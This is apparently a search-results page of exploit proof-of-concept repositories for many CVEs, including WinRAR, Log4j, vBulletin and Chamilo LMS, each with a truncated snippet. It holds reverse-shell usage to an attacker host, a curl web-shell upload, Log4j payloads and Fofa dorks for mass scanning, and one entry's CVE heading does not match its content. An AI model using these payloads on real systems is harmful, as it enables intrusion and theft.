591785 matches found
CVE-2023-38831_ReverseShell_Winrar-RCE
WINRARの脆弱性CVE-2023-38831を悪用したリバースシェルの取得 このリポジトリでは、WinRARの脆弱性CVE-2023-38831を悪用して、被害者のWindowsマシンから攻撃者のKali Linuxマシンへリバースシェルを取得する方法を紹介します。 事前準備 このリポジトリのコンテンツをダウンロードします： 次に、この脆弱性を悪用するために必要なPythonの依存関係を以下のコマンドでインストールします： pip install rarce 準備...
ProxyLogon
ProxyLogon ProxyLogon은 CVE-2021-26855의 공식적인 일반 이름이며, Microsoft Exchange Server의 취약점으로 공격자가 인증을 우회하고 관리자로 가장할 수 있습니다. 또한 이 버그를 다른 사후 인증 임의 파일 쓰기 취약점인 CVE-2021-27065와 연결하여 코드 실행을 달성했습니다. 출처: proxylogon.com 면책 조항 이 GitHub 저장소에 제공된 정보는 교육 목적으로만 제공됩니다. 이 GitHub의 모든 정보는 선의로 제공되지만, 정보의 정확성, 적절성, 유효성, 신뢰...
CVE-2025-3248
CVE-2025-3248 ★ CVE-2025-3248 Langflow RCE PoC ★ 실습 환경 구성 docker pull langflowai/langflow:1.2.0 docker run -d --name CVE-2025-3248 -p 7860:7860 langflowai/langflow:1.2.0 localhost:7860 설명 1.3.0 미만의 Langflow 버전은 /api/v1/validate/code 엔드포인트에서 코드 삽입에 취약합니다. 원격의 인증되지 않은 공격자가 조작된 HTTP 요청을 보내 임의 코드를 실행...
CVE-2024-7120
Raisecom デバイス コマンドインジェクション CVE-2024-7120 概念実証! 概要 RAISECOM Gateway デバイス（モデル MSG1200、MSG2100E、MSG2200、MSG2300）においてコマンドインジェクションの脆弱性が確認されました。この脆弱性により、リモートの攻撃者が Web インターフェースを介してシステム上で任意のコマンドを実行できます。問題は listbaseconfig.php スクリプト内、特に template パラメータにあり、インターネット上の 25,112 台以上のデバイスに影響を及ぼします。 ✔ FOFA :...
Log4j-RCE
Log4j-RCE Log4j RCE - CVE-2021-44228 如何运行？ php log4j.php https://1337.com 要求 PHP CURL PAYLOAD DNS 日志（Burpsuite Collaborator 或使用 dnslog.cn） Payload 列表 $ctx:loginId $map:type $filename $date:MM-dd-yyyy $docker:containerId $docker:containerName $docker:imageName $env:USER $event:Marker $mdc:UserId...
CVE-2025-30406
パート1: エクスプロイト λ CVE-2025-30406.exe rce.txt...
-CVE-2017-0785-BlueBorne-PoC
-CVE-2017-0785-BlueBorne-PoC CVE-2017-0785 BlueBorne PoC 일반 개요 Armis Labs는 Android, iOS, Windows, Linux를 포함한 주요 모바일, 데스크톱 및 IoT 운영체제와 이를 사용하는 기기들을 위협하는 새로운 공격 벡터를 공개했습니다. 이 새로운 벡터는 공기를 통해 전파되고airborne Bluetooth를 통해 기기를 공격하기 때문에 “BlueBorne”이라고 명명되었습니다. Armis는 또한 관련 제로데이 취약점 8개를 공개했으며, 그중 4개는...
CVE-2019-0193
CVE-2019-0193 Solr DataImport Handler RCE RCE-Vuln jdbc D:\CVE\CVE-2019-0193\solr-7.7.2\server\solr-webapp\webapp\WEB-INF\lib\mysql-connector-java-5.1.48.jar dataSource name="fromMysql" type="JdbcDataSource" driver="com.mysql.jdbc.Driver" url="jdbc:mysql://localhost:3306/mysql"...
CVE-2024-38063-poc
실제 PoC가 https://github.com/ynwarcs/CVE-2024-38063 에 공개되었으며 제 코드에도 업데이트했습니다. 이는 시스템을 충돌시킬 수 있으므로 VM을 사용하거나 학습 목적으로만 사용하세요. 코드를 수정하여 RCE를 얻을 수 있습니다. 사용법 iface 대부분 기본적으로 활성화되어 있습니다. 자세한 내용은 CVE-2024-38063-poc.py 를 확인하세요. 발견자 https://x.com/XiaoWei 코드/POC 크레딧 = @ynwarcs 감사합니다! Chirag Artani...
cve-2023-36845-scanner
Juniper CVE-2023-36845 向け脆弱性スキャナー この脆弱性スキャナーを使用して、Juniper ファイアウォールが CVE-2023-36845 に対して脆弱かどうかをスキャンできます。このスキャナーは go-exploit をベースに構築されているため、2 つのフェーズがあります。 ターゲット検証：対象が影響を受ける可能性のある Juniper ファイアウォールであることを確認します。 ターゲットエクスプロイト：スキャナーが LDPRELOAD メッセージを送信し、脆弱なシステムから（無害な）エラーメッセージを生成します。 CVE-2023-36845...
CVE-2025-64512---pdfminer.six-Remote-Code-Execution-RCE-
CVE-2025-64512 - pdfminer.six リモートコード実行 RCE -orange 警告 – 教育目的のみでの使用 この概念実証コードは、許可されたセキュリティテストおよび教育目的のみを対象としています。 自身が所有するシステム、または明示的な書面によるテスト許可を得たシステムでのみ使用してください。著者は、このコードによって引き起こされた誤用または損害について一切の責任を負いません。 説明 CVE-2025-64512 は、PDFファイルからテキストやメタデータを抽出する人気のPythonライブラリ pdfminer.six...
EXCELntDonut
| \ / /|| | | | | \ | | | | \ / | || | | | ' | | | | |/ | ' | | | | | | | / \ || || || | | | || || | | | | | | | | | |//||| | || |/ /|| | |, || by @JoeLeonJr @FortyNorthSec EXCELntDonut는 XLMExcel 4.0 매크로 생성기입니다. C 소스 코드EXE로 시작하여 메모리에서 코드를 실행할 XLMExcel 4.0 매크로를 생성합니다. XLMExcel 4.0 매크로는 .XLS 파일에 저장...
CVE-2022-30525
CVE-2022-30525 ZyxelのCGIプログラムにおけるOSコマンドインジェクションの脆弱性 エグゼクティブサマリー 2022年4月13日に初めて発見されたこの脆弱性は、Zyxelファイアウォール製品でリモートコード実行を引き起こしました。CVSSスコア9.8のこの重大な脆弱性は、出現から15日後にZyxelがリリースしたアップデートによってブロックされました。この過程で少なくとも20,800台のモデルが影響を受け、その大部分はヨーロッパにありました。...
CVE-2022-26809
CVE-2021-1675 / CVE-2021-34527 Impacket実装のPrintNightmare PoC、元はZhiniang Peng @edwardzpeng & Xuefeng Li @lxf02942370によって作成されました 完全にパッチ適用された2019ドメインコントローラでテスト済み 悪意のあるDLLをリモートまたはローカルで実行 パッチアップデート Microsoftはこれらの攻撃を緩和するパッチをリリースしましたが、以下の値がマシンに存在する場合、そのマシンは依然として脆弱です REG QUERY...
CVE-2026-61511
VBulletin RCE POC Telegram : @esp256 サポート : 大量/単一スキャン Fofa Dork body="Powered by vBulletin" body="vbulletin/core/cpstyles" body="Powered by vBulletin" && body="6.2" body="Powered by vBulletin" && body="6.1" body="Powered by vBulletin" && body="6."...
CVE-2024-24590-ClearML-RCE-Exploit
CVE-2024-24590 — ClearML Pickle アーティファクト RCE 概要 フィールド| 詳細 ---|--- CVE| CVE-2024-24590 ソフトウェア| ClearML 影響を受けるバージョン| 0.17.0 – 1.14.2 脆弱性| タスクアーティファクトの安全でない pickle 逆シリアル化 認証| ClearML プロジェクトへの書き込みアクセスが必要 影響| アーティファクトを読み込むすべてのマシンでのリモートコード実行 検証環境| Ubuntu 22.04, Python 3.9+ 説明 ClearML...
CVE-2022-23940
CVE-2022-23940 CVE-2022-23940 の PoC（別名 SCRMBT-187 ） - SuiteCRM（= 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2022-23940 使用例: Spawning a PHP Reverse shell to attacker-host on port 4444 ./exploit.py -u user -p redacted --payload "php -r...
CVE-2024-25153
CVE-2024-25153 这是 CVE-2024-25153 的概念验证程序，该漏洞是 Fortra FileCatalyst Workflow 5.x（5.1.6 Build 114 之前的版本）中的一个远程代码执行漏洞。 完整技术细节请参见 https://labs.nettitude.com/blog/cve-2024-25153-remote-code-execution-in-fortra-filecatalyst 使用方法 使用以下命令运行利用程序： CVE-2024-25153.py --host --port --url --cmd 仅 --host...
Chamilo-LMS-Unauthenticated-File-Upload-CVE-2023-4220
Chamilo-LMS-Unauthenticated-File-Upload- 在Chamilo LMS ' dollarboysushil.php .png 然后通过执行以下命令上传该文件 $ curl -F '[email protected]' 'http:///main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported' .png 我们可以通过访问 /main/inc/lib/javascript/bigupload/files 目录来检查文件是否已上传 .png...